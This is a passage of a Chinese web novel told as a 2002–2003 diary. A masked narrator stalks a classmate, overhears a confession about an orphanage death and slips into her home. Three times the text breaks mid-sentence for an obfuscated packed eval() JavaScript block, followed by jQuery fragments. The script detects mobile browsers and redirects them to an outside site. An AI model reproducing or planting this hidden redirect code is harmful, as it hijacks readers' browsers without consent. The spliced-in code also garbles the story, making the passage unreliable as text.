周围的人在说些什么,我统统没听见,仿佛这些细碎吵闹的声音只是存在着,并没有进入我的耳朵里。
我的周身像是建造起了一个透明玻璃罩,将其它杂音统统隔绝在外。
我的世界褪了色,而她是黑白默片里唯一的颜色与声音。
我看着她,像看着另一个自己。
几步的台阶漫长得像过去了一个世纪。
然而我却很享受这种反复煎熬的疼痛,因为它真实,真实的疼痛能让我感觉活着。
2002年12月1日晴
我好像发现了一个了不得的秘密。
施宜,似乎有着不为人知的过去。
今天中午,我正在宿舍天台上晒太阳。
宿舍顶楼的天台上,晒着女生们洗涤过的被子,各种印花的被子构成一片花花绿绿的海洋,我躺在海洋之间的空隙,看着风吹过被子曳起的一角,沉溺于鼻腔嗅到的清爽的洗衣剂的味道。
我喜欢这种味道,像是阳光晒过的,蓬松柔软的味道。
正昏昏欲睡之间,我听见天台拐角传来交谈声。
我睁开眼睛,远远地看见几个影子投在地上,似乎是几个女生。
我对于其它人类兴致缺缺,我又闭上了眼睛。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456729|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“你说,施宜会来吗?”一个较柔较低的声音突然问。
我又睁开了眼,竖起了耳朵。
“她会来的。”另一个较为沉稳的女声回答。
“可是,我们上次聊崩了。”
“那又怎么样?我们什么时候不吵架!要不是那件事将我们绑在了一起,我一点都不愿意跟在她身边,好像她的跟班一样,但实际上我根本就不喜欢她。”那个女生嗤笑一声,话语里带着浓浓的嘲讽。
我倏地愣住。
聊天声还再继续。
“那……你……去教室吗?”
“去。我中午要自习,我要考大学,离开这个鬼地方。”
“那个……那天我看见了……**也去了。”(日记旁边写了一个名字,可欣??)
“去了哪?”
“办公室。”
聊天在这里戛然而止,两人似乎陷入了胶着的沉默。
我以为是她们发现了我,于是立刻坐直了身体,慢慢地蜷缩在被子投射的阴影里,小心翼翼地把自己隐藏起来。
我听见其中一个人很轻很轻地叹了一口气。
“……你……算了,这件事……就先当我们不知道吧。”
“可是……”另一个声音有些为难,似乎还想说些什么。
“我们都自身难保,你难道还想当泥菩萨?!”那声音有些崩溃,声调明显提高了,呼吸间夹杂着喘息,“自从那时候后,我到现在还在做噩梦,我真的受够了。”
“知道了。”
那个声音停了一会儿,又说:“明晚八点小树林,别忘了。”
“好。”
等到脚步声离开了天台,我才揉了揉被阳光刺痛的眼睛,从空白的茫然中回过神。
我大概能判断出刚才说话的是谁。
应该是经常跟在施宜身边的两个女生,叫邓娇和苏晓雯。
我在调查施宜的时候,也顺便了解了她们。
邓娇性格比较胆小,沉默寡言,在施宜的姐妹团里不经常说话。苏晓雯长得非常漂亮,大眼睛,瓜子脸,是标准的美人,她虽然表面和施宜关系很好,但总觉得她暗含着对施宜不满的刺。
所以,他们明晚要去小树林?
我知道小树林在哪。
我们学校后边是个荒山,山没有开发过,有一片连成片的密集小树林,晚上从宿舍回去的时候,总会觉得那片小树林在黑暗中鬼影森森,发着阴冷的气息。
经常有一些人以此编造一些怪力乱神的鬼故事,还讲得有鼻子有眼,仿佛他们身临其境了似的。
因为小树林隐蔽,所以也成了许多情侣幽会的地点。
可是问题是,她们要去小树林做什么。
听她们的语气,她们好似有什么大事要商量。
高中女生能有什么大事,不过是他爱我,他不爱我之类的琐事吧,不值一提。
我才不会参与这么幼稚的事情,我宁可在宿舍里刷上一天的题,也不愿意掺和什么高中女生什么无病呻吟的友情聚会。
我随手从桌上捡了个橘子,剥了皮,把橘子放进嘴里,清甜的味道很快使我安静下来。
每次烦躁的时候,我都会选择这种方式让自己安静下来。
5. 小树林
2002年12月2日晴转多云
我真是有病。
虽然我这么想着,但我居然鬼使神差的,在七点半的时候拐进了小树林。
夜晚的小树林格外静谧,只有风声穿过枝叶间,发出簌簌的声响。
偶尔风大了,吹过树林间,听起来像鬼魂的鬼哭狼嚎。
我有些害怕,总感觉那阴冷的风像是挤进了我的心脏,让我的全身都凉飕飕的。
我走到了一棵榕树底下,我看见那榕树上系着许多红色的飘带,飘带在夜晚临风飘扬,有种诡谲的艳丽。
其中一个系带上的字迹我非常熟悉。
我伸出手,想去抓那个系带,系带偏和我玩捉迷藏,在风中晃晃悠悠。
我刚抓到那个系带,就听见不远处传来脚步声。
我一惊,转身就走,却不小心踩了个空,整个人都掉进了旁边的坑里。
这可把我摔惨了,我狼狈地爬起来,发现自己的掌心都被蹭破了,我抬起头,发现这实在是个非常不明显的“坑”,因为坑上面覆盖着各种植物,完全把坑遮挡住了。
还好坑不深,我试图爬上去,却听见了有声音从上方传来。
“下次你们要商量事情,能不能换个地方?”
这声音是施宜。
我依靠在坑壁上,静静地听着。
“我觉得这儿挺好的啊,不会有人听见我们在说什么。而且这地儿不是你先定的吗?怎么反倒怪起我们来了?”
这声音应该是苏晓雯,也只有她会这么夹枪带棒地说话。
“说吧。”施宜叹了口气,“总不见得特意叫我来赏月的吧。”
“邓娇说,她看见林可欣进了办公室了。”
短暂的沉默之后,施宜开口道:“什么时候?”
“一星期……前吧,具体的我不记得了。”
“去林常雄的办公室?”施宜又问。
“对。”
又是一阵沉默。
接着,苏晓雯主打打破寂静:“你说,林常雄是不是已经知道了?”
“知道什么?”施宜反问,“我们做过什么事吗?”
苏晓雯笑了一声,那笑声在安静得夜里格外凉,格外尖锐。
“是啊,我们做过什么吗?我们可是杀了人的。”
我浑身的血液瞬间凝固,随后,血液慢慢倒流至头顶,我像被施了定身咒,动弹不得。
我听错了吗?
一阵令人不安的空白过后,施宜也笑了起来:“那也叫杀人?你对杀人的定义是不是有误?”
“确实。不过。”她顿了顿,“我们确实是共犯。你,我,还有邓娇,我们都是共犯。”
“怎么样,满意了吗?”
“当年孤儿院的事情,你不说,我不说,还有谁知道?”
她的声音压低了,宛如低语,落在我耳里,不知为何越发清晰,纤毫毕现。
我的冷汗簌簌而下。
这下,还有我知道了。
“我们当时都在孤儿院待过的,你忘了我当时怎么保护你的了?”施宜又紧接着说,她的话又密又急,听起来颇像咄咄逼人。
等等,孤儿院?
我不由自主地往上看去,可是在那被土坑割开的一方狭窄夜空中,我只看见一轮又大又圆的月亮挂在夜空中。
月光明亮澄净,仿佛能净化世间所有的罪恶。
原来如此。
原来你也被遗弃了。
“行了。”施宜的声音变得不耐烦起来了,“你就说,计划还要不要执行了?”
“总之我不同意。”苏晓雯很快抢白,“我马上就可以考上大学离开这了,何必费那劲?”
“是啊,我忘了,你就是事不关己高高挂起的那个。”施宜的声音凉得像今晚的月色,“那邓娇呢?”
邓娇的声音犹豫不决:“我……我觉得,这个计划还有待商榷。”
施宜冷冷地笑了一声:“那林可欣呢?你们就看着她进办公室,对吗?”
“我们阻止过了。可是——”
“好了,就这样吧。”施宜打断她,“不同意我的计划就这样吧,以后别再找我来这里了。”
她们很快就不欢而散,我听到上面树叶的嘎吱声逐渐消失之后,才慢慢踏着土坑壁上坑坑洼洼的地方爬了上来。
我的手臂,手掌都蹭破了几处,想必整个人看起来也是无比狼狈。
我拍了拍裤子上的灰,正准备离开,却发现方才榕树底下,有个金属材质的东西在反光。
我走了过去,发现一枚钥匙静静地躺在榕树底下。
我环顾四周,没有人。
我蹲了下去,把钥匙捡了起来。
上面贴着标签,上面用黑笔写着一个字“施”。
是施宜的钥匙。
她落下了?
2002年12月5日晴
我拿上了这把钥匙,在她家蹲守了几天,终于等到她们一家人出门去超市,我快速跑上楼去,用这把钥匙试开了她家的门。
果然可以打开。
我的心跳得非常剧烈。
她家非常整洁,客厅,餐厅都收拾得干干净净的,我套上鞋套,戴上手套,小心翼翼地踏进房间,仿佛犯罪分子进入凶案现场。
她家里的构造也很简单,三室两厅一厨,两间是比较大的主卧和次卧,主卧是她父母的,我以为次卧会是她的房间,但不是。
她的房间在次卧旁边一个狭窄的,明显像储藏室的地方,只容得下一张床,书桌只能勉强挤在床的旁边。床的上面是一排柜子。房间没有窗,只有三面白墙。
我进入她的房间,翻找了起来。
我想找到一些证据。
可是我翻来翻去,都没找到任何的证据。
我在她的床上坐了一会儿,又慢慢躺下,被单散发着馨香,我盯着有些皲裂的天花板发呆,想象着她每天躺在床上都会在想什么。
她会不会每天都做一样的噩梦,梦里有个女人一直掐着她的脖子,或是有个男人,一直打她的脸?
我从她的房间离开,瞥见客厅上撒了一把糖果,我随手拿了一颗,巧克力味的。
是我喜欢的味道。
客人来了,肯定得招待呀。
我就这么想着,又拿了几颗巧克力味和橙子味。
桌子上有这么多颗糖,她应该不会发现吧。
我就这么自信地想着,关上了门,离开了施宜的家。
2002年12月10日多云
我近期一直心神不宁。
我不断在心里揣测苏晓雯说的那句话意味着什么。
不过我又掌握了施宜的新信息。
她是个孤儿。
我原以为她真有个美满的家庭。没想到统统都是假象。
其实在之前,我在心里隐隐就有预测。
她养父母对待她和弟弟的态度简直天壤之别。
她在家里就如同一个隐形人,可有可无的摆件。
我笑了一下。
我说我们是同类吧。
施宜,你要相信我。
我设法找到了施宜的档案,查到她之前是红树林孤儿院的。
除了这个信息,其它的我都找不到。
我隐约觉得红树林孤儿院这名字很熟悉,我似乎在哪里见过,但总想不起来,那段记忆好像被屏蔽了。
不过,苏晓雯说“她们都是凶手”又是什么意思?
我想不明白。
2002年12月17日晴转多云
最近我经常溜去施宜家。
有时候我会翘课去她家,从桌子上拿走几颗巧克力,或者是偷偷拿走她笔芯盒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456730|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里的空笔芯,她掉落的纽扣,发夹。
我好像一只四处游荡的鸟,总爱衔一些闪闪发光的小玩意,回去筑我的窝。
我把这些东西都放在饼干盒里。
这是我的潘多拉魔盒。
2002年12月20日阴
下午施宜再次出门。
我轻车熟路地走进她家,发现她房间的桌子上压了条纸条。
上面写着:
晚上八点来小树林,有很重要的事情!!!
雯
后面加了三个感叹号。
我皱了皱眉,心里悚然一惊。
难道她们会继续上次的话题吗?
困扰我这么多天的谜底会解决吗?
我压抑下的心里那股窥探的好奇又再次被勾了出来。
晚上七点半,我再次出了宿舍,前往小树林的那棵榕树下,准备寻找一个最佳偷听位置来听听她们到底在说什么。
有道是,好奇心害死猫。
我到达榕树下的时候,还没有人在下面,我无聊地在旁边闲逛了会儿,看了下学生系在树上的红飘带,大部分都是些无聊的祝福许愿之类的,其中有一条引起了我的注意。
上面用黑笔写着:希望变成自由的鸟。
我觉得有些意思,沉溺于思绪之中,根本没有意识到后背传来的轻微脚步声。
等我听见脚步声的时候,已经来不及了,我迅速地转身,看见她站在离我大约一米远的距离,正靠在榕树上抱肩看着我。
我冷汗直冒,一瞬间失去了语言能力。
冷冷的月光披在她身上,为她镀上了一层银白的光。
她勾起嘴角,朝我打了声招呼。
“找到你了。”
只有四个字,却让我的血管都僵住了。
我内心某处结的厚厚的茧开始咔嚓一声碎裂。
“你好。我叫施宜。”
这是她第一次向我正式自我介绍,然而我却像是早已认识了她十七年。
“你的名字呢?”她问我。
我干巴巴地回答道:“我叫魏冉。”
她点点头,朝我走来,来到我面前,直视着我的眼睛。
“果然是你。”
我沉默着没说话。
“我就知道你会来的。”她手里拿着一枚硬币,一边抛着硬币一边看向我,“那条纸条就是为你而留的。”
“你是什么时候……”她靠我有些近,我浑身都紧张起来,像是下意识的反应。
我不喜欢别人过于亲近我,或者与我有什么肢体接触。
她收起硬币,冲我一笑:“从食堂看见你的那一刻。”
我愣住了。
“你为什么要戴着口罩?”她走近了我,斜斜地弯下腰,盯着我的眼睛看。
我突然朝她笑笑:“你不会想看见我的样子的。”
她注视着我,坦诚的,毫无保留的。
她的眼瞳很深很黑,黑色眼珠占了大部分,在专注看人的时候,很容易显得深情,然而一旦眼神没有光,就仿佛空洞的黑洞,任何光都会被扭曲,吞噬。
这一双眼睛我太熟悉了。
“是吗?”她笑起来,月牙眼弯弯,“你不试试,怎么知道呢?魏冉。”
我抬起头,与她的眼神相撞,我们在沉默中对峙。
世界只剩下有风吹过树林的簌簌声。
我知道这一刻终会到来。
我摘下了我的口罩。
这次,我坦然地抬起头,与她对视。
月光盈盈,正上树梢,银辉落了满地。
我站在月光的亮面,她站在月光的暗面。
我们仿佛在对着镜子,照着彼此灵魂的倩影。
我看着施宜逐渐凝固的表情,心里在说。
你看吧。我就说,我们是一样的人。
6. 红树林孤儿院
2002年12月31日晴
跨年夜很快到来。
林姨问我有什么打算,我说我要去一个同学家过。
她非常惊讶,因为我向来独来独往,看起来没有和任何人有接触,突然横空出世了一个“同学”,还要到人家家里去跨年,属实有点耸人听闻了。
“你有玩得这么好的同学啦?”
林姨惊讶之余,看起来十分感动,仿佛看到石头开了窍,连忙拉着我,要我带些东西去别人家。
“不用了,她也是一个人跨年,我们俩自己吃,不用准备这么多。”我试图阻止她。
林姨听到之后,有些惊讶地抬起头,看着我:“她一个人过?”
我点点头。
林姨皱起眉头,她叹了口气:“也是个可怜的。”
我其实想说不可怜,她养父母在家,说不定更糟心。
即使在我的百般推脱下,最后我还是带着一袋菜走了出去。
自从上次那次诡异的“见面”之后,我和施宜的关系居然迅速变得十分亲密。
甚至没有任何过渡阶段,好像我们天生就该如此亲密一样。
施宜把我介绍给了邓娇和苏晓雯,在她们俩两脸惊恐下,我们四个就变成了诡异的组合。
我还是没有摘下我的口罩。
这是我安全感的来源。
而且见到了施宜之后,我更加没有理由摘下口罩了。
施宜邀请我去她家里跨年,理由是她养父母带着弟弟出去旅游了,她一个人,没人一起跨年。
我问她那邓娇和苏晓雯呢?
她笑起来,说她们都有自己的家,哪能过来陪我过年呢。
原来如此。
原来你也是没有家的人。
我到了她家,我们准备煮火锅。
她插起了电磁炉,把锅拿出来,放在上面,然后把中午熬好的骨汤全都倒下去。
“这样煮的火锅会好吃哦。”
她把我买的菜都洗好了,全都放在一边,排队等着下锅。
我的眼睛却一直盯着她手腕露出的那点淤青看。
她似乎注意到我的目光,她没有躲闪,没有把手缩回去,反而大大方方露出来给我看。
“是我养父打的。”她用一种轻松得近乎幽默的语气说,“不过你放心,我有打回去。我们是互殴,不是单方面的施暴。”
我哽咽了半天,才讷讷地开口问道:“为什么?”
她用勺子把火锅里的骨汤搅了搅,云淡风轻地继续说:“还能怎么样,单纯就是想打我,暴力有的时候是不需要理由的。”
我沉默着看着锅里逐渐煮沸的骨汤,汤面泛起绵密的泡沫,蒸腾出白汽。
“我比较好奇,你为什么不问我?”
她把青菜倒了进去,骨汤里增添了一抹清新的颜色。
“问你什么?”
“你那天都听见了对吧?”施宜看着我,“我和邓娇和苏晓雯的对话。”
我默然,不知怎么回答她。
“你相信我真的杀了人吗?”施宜捞出青菜和牛肉,放在了我的碗里,她语气淡然,好像杀人就和煮火锅是一回事,随处可见,家常便饭。
我有些心悸,但我还是摇了摇头。
“只是一面之词的话,我不会信。”
话虽是这么说,我的心里总是隐隐约约存在着一股疑虑,像徘徊于晴天的一抹乌云,让本来晴朗的心情无故多了些散不去的阴霾。
虽然无伤大雅,但总像是豌豆公主垫下的那颗豌豆,有些膈得慌。
“也不算是一面之词。”施宜喝了口汤,发出满足的喟叹,然而说出的话却和温情的画面完全不符,“你见过人死亡的过程吗?”
这一句话成功让我被汤呛到,狂咳嗽起来。
“小心点。”她扯过几张纸巾,帮我拍了拍背,“你也太夸张了。”
到底是谁夸张啊?
但是她的这个不合时宜的问题却勾起了我的回忆。
我确实见识过许许多多,形形色色的死亡。
小时候,组织里每天都有死去的小孩,我每天从门缝里望去,看见的都是血和伤,血从地板上蜿蜒而来,流进锁了的门缝里,它无孔不入,我呼吸之间,也全是血腥气。
我亲眼见到他打死过一个小孩。
那小孩不过五六岁,因为一直哭闹,他就不停打骂他,让他安静。
我们安静地缩成一团,谁也不敢说话。
他那天怒气上头,抽了那小孩十几鞭子,最后那小孩完全安静下来,他还不解气,又抽了一棍,结果小孩头一倒,身体瘫软下来,完全没了气息。
他临死的时候还瞪大了眼睛,那双大眼睛死不瞑目地瞪着我。
我做了整整一个月的噩梦。
每次闭上眼,我能看见那个倒在血泊中的孩子,他浑身赤裸,那双眼睛直直地瞪着我,缠绕我。
看着我静默着不回答,她自顾自地继续说:“所以啊,我们其实都一样。”
我紧紧抿着唇,无话可说。
她捞了把糖果,递给了我。
我接住了,从里面挑出一个巧克力,剥开糖纸,含在嘴里吃了起来。
她看着我吃完了那颗巧克力,突然笑了:“你很喜欢吃巧克力吗?”
我想了想,点了点头。
其实只是因为巧克力贵。
而在我朴素的价值观里,贵就代表着这是好东西。
我递给她一个巧克力:“你不吃吗?”
她摇摇头:“我对巧克力过敏。”
原来是这样。
我从中又挑了个别的味道的糖递给她。
施宜吃着吃着,又问我:“你的脸,是怎么回事?”
“我不知道。”我嘴里含着食物,说话含混不清,“小时候就这样了。”
她若有所思地看着我,并没有再说什么。
火锅快吃完了,施宜忽然问我:“你在外面那么多年,外面是什么样的?”
我歪着头思考:“很乱,很黑,很脏。”
有颠沛流离,有见血的匕首,有孩子们的哀嚎和哭泣,日夜难休,还有辱骂,和永无休止的打骂。
我想了想,又补充道:“但也很好。”
也有跃出海面的海豚,有愿意舍我一碗羹的姐姐,有愿意给我一个家的阿姨,有花香,有蓝天还有鸟啼声。
“你一定看过雪吧?”她接着问我,“雪是什么样的?”
我的思绪还没从刚才她问我的那句话抽离出来,以为她说的是血,足足愣了十几秒。
她看出我的犹豫,忽然笑起来,笑得很夸张,上气不接下气的。
“你好夸张,我说的是雪,下雪的雪。”
我慌忙反应过来,有些手足无措。
“有,有的。”
有的。
我早已忘记了雪是什么样的,但我记得它有多冷。
我曾在雪天被扔到房子外面,跪在雪地里,深一脚浅一脚地,踉踉跄跄地往房子里挪着脚步。
雪落在我的肩膀上,眼睛上,皮肤上,我的手长出紫色的,皲裂的冻疮,布满整个手掌。
我呼出的空气像是瞬间会被冻住。
可是那扇门却怎么也触碰不到。
太冷了。
这样的雪天我宁可不要再回去。
她看着我,忽然伸出手摸了摸我的头发。
“对不起。”
我不知道为什么她要突然说这种话。
她眼圈通红,一滴泪从她的眼角滑落。
我愣愣地望着她。
原来这个世界上,真的有人愿意为我落一滴泪。
“你应该受了很多苦吧。”她叹道。
“很多。”我扯了下嘴角,“可是,你也是。”
“我们真的是一样的。”她轻轻拥住我,“一样的。”
后来,施宜拿出一个针织小玩偶,像个晴天娃娃,她举着娃娃看着我,说是给我的新年礼物。
我笑了笑,收下了。
她问我的生日是什么时候,我早就忘记了,只说自己好像是在六月出生的。
施宜说那好办,以后我的生日就是你的生日呗。
我点了点头,非常同意她的看法。
2003年1月3日晴
元旦过后,时间变得紧张了。
我抽空去了市图书馆一趟,找出了所有有关于红树林孤儿院的报道。
那天我借口去教务处查了档案,发现施宜的档案上有许多段经历缺失。
她是00年考入南湾中学的,在此之前,她初中也在南湾中学读。
但是小学的经历,大部分是空白的,只简单写了句,96年转入南湾襄城小学就读。
96年之前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456731|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的经历只写着“红树林孤儿院抚养”。
她们那天的对话提到了孤儿院,那么事故应该就是发生在孤儿院期间。
可是,她在孤儿院的时候才10岁左右,10岁左右的小孩能做什么?
她甚至连拿起剪刀都拿不稳,更别提杀人了。
她是96年转出被收养的,那么我就从96年查起吧。
果然,我查到了95年5月15号红树林孤儿院的新闻。
上面用黑体字写着:红树林孤儿院突发火灾!院长疑似猝死于办公室!
我的心脏剧烈地跳动起来。
我一目十行地看完了报告。
说是在5月15日晚间八点左右,红树林发生火灾,所幸值班老师及时疏散了孤儿院的所有孩子,随后,老师们发现院长并没有逃出,一位老师拼命回去救院长,结果却发现院长倒在办公室的地上,早已不省人事。
年轻老师把院长背了出来,医疗急救队赶到,发现院长早已猝死多时。
尸检报告也显示院长已于火灾前猝死。死因是心脏病突发。
据院长的亲人说,院长患有先天性心脏病,冠心病多年。
还有几份报纸没看完,我忙把这些报纸都叠起来,然后问图书馆管理员借下了这几份报纸。
走出图书馆的时候,我抬头看向天空,乌云密布,风雨欲来。
2003年1月10日晴
我与邓娇,苏晓雯渐渐熟络了起来。
她们性格其实还不错,我先前对她们抱有成见,但融入之后,很快就卸下了心防。
今天,我们在外面的超市买东西,忽然看见一个女孩子跑了过来,拽着施宜的胳膊。
她眼圈通红,鼻头也红红的,像刚大哭了一场。
我盯着她看了片刻,突然想起,我见过她。
我第一次在食堂见到施宜的时候,施宜主动把排骨让给她的那个女孩。
我听见施宜略带惊讶的语气。
“可欣?”
原来她就是林可欣。
“我能不能……单独和你说几句话?”林可欣扯着施宜的手臂,小声地问。
施宜转头看了我们几个一眼,和我们说:“我和她过去聊聊,你们在这等我就好了。”
苏晓雯的脸色看上去有些不爽,但她还是点了点头。
她们没异议,我自然也不会有意见。
施宜被林可欣拉到一旁去,我们远远看着她们,只能看见林可欣低着头,似乎在哭,施宜背对着我们,看不到她的面部表情,但根据她的肢体动作,她似乎一直在安慰林可欣。
过了大约十几分钟,施宜回来了,匆匆和我们说了一句走吧,就飞快地往前走了。
直到出了超市,我们在外面的公园里找了个长板凳坐着,四个人坐在一个长条板凳上,略显拥挤。
苏晓雯突然问:“她又和你说什么了?”
施宜看了她一眼:“她说,她知道林常雄的真面目了。”
苏晓雯嗤笑一声:“她之前不是还说,她很爱那个人吗?”
施宜低头看着自己的脚尖:“我想,她可能没意识到,自己走进林常雄的陷阱里了。”
等一下。
听得一头雾水的我突然捕捉到了一个关键词,林常雄。
那不是我的班主任吗?
那个年龄三十四五,风度翩翩,广受好评的班主任?
“你们说的是,林常雄老师吗?”我插话道。
苏晓雯像突然意识到有我的存在一样,啧了一声。
好似嫌我有点麻烦。
“是啊。”苏晓雯笑着看着我,“就是你们班的那个班主任。”
“他怎么了?”
“你要小心他。他最喜欢对新来的女孩子下手了。”她悠悠道。
我淡淡地“哦”了一声,随意玩着手里的美工刀,接着说:“如果是这样,说不定谁小心呢。”
苏晓雯的表情像被噎到了一样,旁边一直默然不语的邓娇也忽然抬起头看着我。
只有施宜,在愣了几秒之后开始笑起来。
她拍了拍我的肩膀,冲我眨眼:“我们俩果然是一样的。”
苏晓雯反应过来,有些恼羞成怒:“行行行,你们一样,你们厉害,我比不上你们。”
施宜再次笑起来,她笑的时候细长眼睛微眯,像一只狡黠的狐狸。
7. 林可欣
2002年1月15日晴
过年对我来说是个遥远且陌生的概念。
我对它有种叶公好龙式的执着,就如同隔雾看花,越是模糊,花的形象就越发真切。
过年这件事,最令人期待的并不是过年时,而是过年前。
空气中浮动着年味,从超市里循环播放的歌,从同学们兴奋的交谈声里,从货架上突然摆放得满满的红色年货里,包裹着你,让你似乎置身于红色海洋里,浑身暖洋洋的。
只有期待这件事才是最值得期待的。
我从没过过年。
以前,只有那个女人,会在过年时给我几颗巧克力和橘子吃。
我往往舍不得吃,得囤着。
等到日后挨打了,我就把口袋里捂着的巧克力拿出来,巧克力藏得久了,已经化了大半,外边的糖纸黏黏的,我就一点一点地舔掉所有化掉的巧克力。
就是这么一点一点微末的幸福支撑着我度过了那些见不得光的日子。
今年过年,林姨买了很多好吃的,说都是年货,准备过年和我一起吃。
“今年过年和林姨一起吃吧。”林姨在旁边熟练地剥着豆子,边向我说道。
见我不说话,林姨怕我不答应,又急急补充道:“你的脸怎么样我都无所谓的,别这么和林姨见怪,好不?”
我点了点头。
我并不想违逆这个女人的好意。
从她把我捡回家开始。
从她给了我一个家开始。
她就是我的妈妈。
这个世界上不会再有第二个妈妈。
林姨顿时兴奋起来:“哎好好好,我去准备。”
我看着她忙碌的背影,忽然觉得心里那个巨大的空洞像被什么填得满满的,平静又充盈。
2003年1月20日晴
施宜叫我一起去医院。
本来是陪她去看牙医,但是她又偷偷给我挂了皮肤科的号。
我攥着预约单子,有些紧张地看向她。
她安慰我:“没事,你就去看一看。你的皮肤肯定可以治好的,放心。”
我点点头,跟在她后面进了皮肤科室。
我进去看,她在外面等我。
医生仔细地看了看我的脸之后,说道:“你这个是过敏啊,你知道吗?”
我摇了摇头。
“你对什么过敏,你知道吗?”医生在单子上写下龙飞凤舞的几个潦草大字,“你得去测下过敏源。”
我拿着单子,去隔壁做过敏源检查。
回来的时候发现施宜正和皮肤科医生聊着什么。
皮肤科医生见我进来,叫我坐下,看了看单子,说:“你可能对水果过敏,你最近这段时间先停下水果,牛奶这类的东西。”
我点点头。
医生又在单子上写了几个字,递给我。
“拿着单子去付钱,然后去药房抓药。”
“你可以让…”她的目光移到施宜脸上,忽然停住,然后问,“你们俩是…姐妹?”
我垂眸,僵着没说话,旁边的施宜替我回答了:“是同学。我陪她来的。”
“哦哦行,那回去后让你的家人注意点。”她的语调变得严肃起来,“严重过敏是会出事的。”
“好的。”施宜很轻快地应道,和我一前一后走出了诊室。
药房给我抓了一堆药,嘱咐我具体的每天的剂量,并和我说,一定要注意远离过敏原,长期过敏反应会造成严重过敏体质,免疫系统也会变得非常脆弱,很危险。
我心不在焉地听着,等到药房工作人员终于说完了,我才抓着袋子离开。
回到宿舍,我把药放在桌面上,给自己倒了杯温水,盯着那几瓶药一会儿,又把药放进了抽屉里。
抽屉里满满的都是药。
我顺手拿过桌子上的橘子,剥开皮,橘子的清香在空气里弥漫,我往嘴里丢了一瓣橘子,慢慢地咀嚼起来。
2002年1月23日阴
最近街上戴口罩的人变多了。
原本戴着口罩显得很突兀的我,竟然也有一天,莫名地融入了人群中。
我不常看新闻,但周围的变化让我敏感地意识到,世界似乎在发生微妙的变化。
我去报刊亭买了份报纸,报刊亭的老板见我戴着口罩,熟稔地和我唠起家常来。
“最近这个肺炎真的挺可怕的。”他边说边给了我一份报纸,“超市里那个什么盐啊油啊都快被抢光了。”
我皱起眉,看向报纸的视线一愣。
非典。
这个陌生的名词就这么突然传进了民众的生活,如同一颗重磅炸弹,瞬间就打碎了平静的生活。
和林姨一起吃年夜饭的计划又不能实行了。
我们都得在各自宿舍待着。
因为谁都有可能是传染源。
全民草木皆兵,连街上的行人脚步都是匆匆的,一点小动静都能引起风声鹤唳的惊慌。
2002年1月30日阴
我在宿舍待着实在无聊,就想去找施宜。
宿舍里有个座机电话,我拨打了施宜家的电话。
电话响了几声,很快就接通了。
“喂。”
电话那头带着浓重的鼻音。
我立刻坐了起来。
“施宜?”
“是我。”施宜咳嗽了一声。
原本小小的咳嗽声,此刻在我听来都如同惊雷轰响,我的手不知不觉握紧了电话。
“你怎么了?”我的声线在无可抑制地颤抖。
“我也不知道。”施宜的声音听上去有气无力,“我好像有点发烧,浑身都没力气。”
我有些着急:“你这样多久了?”
施宜顿了顿:“嗯,大概两天吧,烧了退,退了烧。”
“你要不去医院吧?”我又问。
“不去。”施宜立刻说,“医院现在估计都是人,去了万一被感染岂不是更危险?”
“那万一…万一…你是…”我不敢再说下去了。
施宜沉默了会,才轻声说:“没事,看命吧。”
“这怎么行?”我又急起来,“你家有人吗?”
“没人。”又是一阵剧烈的咳嗽声,听着我揪心。
“他们都在北京隔离着,回不来。”施宜又咳嗽了一声,自言自语地嘟囔道,“回不来也挺好的。”
“施宜。”我沉下声来,“你有吃退烧药吗?”
“有的。”施宜声音沙哑地应道,“我吃了。现在都没了。”
“那你——”我咬了咬牙,下定决心,“我明天去你家里。”
“什么?”施宜的声音瞬间拔高,“魏冉,你不准来!”
我很固执的重复:“明天你还不退烧,我就去你家。”
说完之后,我就挂掉了电话。
我记得林姨经常会在宿舍囤一些药品,以备不时之需。
我跑到隔壁敲响了林姨的房门。
一开门,戴着口罩,全身包裹得严严实实的林姨出现在我面前。
没空去打趣她这身啼笑皆非的打扮,我急急地拦住她。
“林姨,有没有什么感冒药啊退烧药一类的?”
林姨那双露在外面的眼睛顿时瞪大了,她跨步向前来,在我还没反应过来前,手已经摸上了我的额头。
“你发烧了?!”她惊恐地问。
“我没有!”我苦笑,“是我的一个同学。”
“哦…哦…”林姨把手放下来,有些犹豫地说,“可是我这里也只有一点了…”
“林姨。”我恳求她,“就给一点吧,她一个人在家里,没有人没有药,只靠硬扛很难扛过去的。”
林姨皱起了眉头,思索片刻,她叹了口气,然后让我在门口等。
一会儿
